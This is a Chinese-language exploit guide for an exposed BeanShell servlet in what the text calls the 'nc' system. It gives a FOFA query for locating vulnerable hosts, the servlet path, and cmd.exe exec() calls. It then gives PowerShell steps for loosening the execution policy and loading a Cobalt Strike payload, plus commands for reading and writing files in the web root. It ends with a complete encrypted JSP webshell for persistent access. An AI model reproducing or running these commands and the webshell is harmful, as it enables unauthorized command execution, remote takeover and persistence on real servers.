0x01 漏洞描述

nc BeanShell组件暴露在公网可以直接执行命令

0x02 fofa语法

icon_hash=”1085941792” && country=”SG”

image.png

image.png

0x03 利用方式

访问以下地址即可执行命令

/servlet/~ic/bsh.servlet.BshServlet

image.png
这里有一个坑,以上方式只能执行部分命令,执行全部命令使用cmd.exe /c,同时webapps也是网站目录,方便写马
image.png
1、使用powershell上线cs

  1. exec("cmd.exe /c powershell.exe Get-ExecutionPolicy"); 验证是否开启远程执行权限,RemoteSigned说明可以远程下载执行
  2. exec("cmd.exe /c powershell.exe Set-ExecutionPolicy -ExecutionPolicy RemoteSigned"); 若不是RemoteSigned则设置

已经开启powershell远程执行,则直接执行cobestrike生成的powershell载荷上线,此方法直接上线cs

exec("cmd.exe /c powershell.exe cs生成的payload);

2、写jsp马

  • 使用以下命令查看网站根目录情况,发现基本都被别人写了马

    exec(“cmd.exe /c dir webapps\nc_web”);

image.png

  • 执行以下命令查看服务器文件、写入文件
    exec("cmd.exe /c chdir"); 查看当前目录
    exec("cmd.exe /c dir");查看当前文件
    exec("cmd.exe /c type webapps\\nc_web\\1.jsp");查看别人的马子
    exec("cmd.exe /c echo 123 > webapps\\nc_web\\mt.txt");写文件
    
    写马要注意各种命令行的参数都要转义,比如<%>,很麻烦,建议直接使用powershell上线在写马,如果有需要的话再写马。马子如下(白嫖别人的马子) ```

<%@page import=”java.util.,javax.crypto.,javax.crypto.spec.*”%> <%!class U extends ClassLoader{U(ClassLoader c){super(c);} public Class g(byte []b){return super.defineClass(b,0,b.length);}}%> <%if(request.getParameter(“pass”)!=null){String k=(“”+UUID.randomUUID()).replace(“-“,””).substring(16);session.putValue(“u”,k); out.print(k);return;} Cipher c=Cipher.getInstance(“AES”); SecretKeySpec sec=new SecretKeySpec((session.getValue(“u”)+””).getBytes(),”AES”); c.init(2,sec); String uploadString= request.getReader().readLine(); new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(uploadString))).newInstance().equals(pageContext);%> ```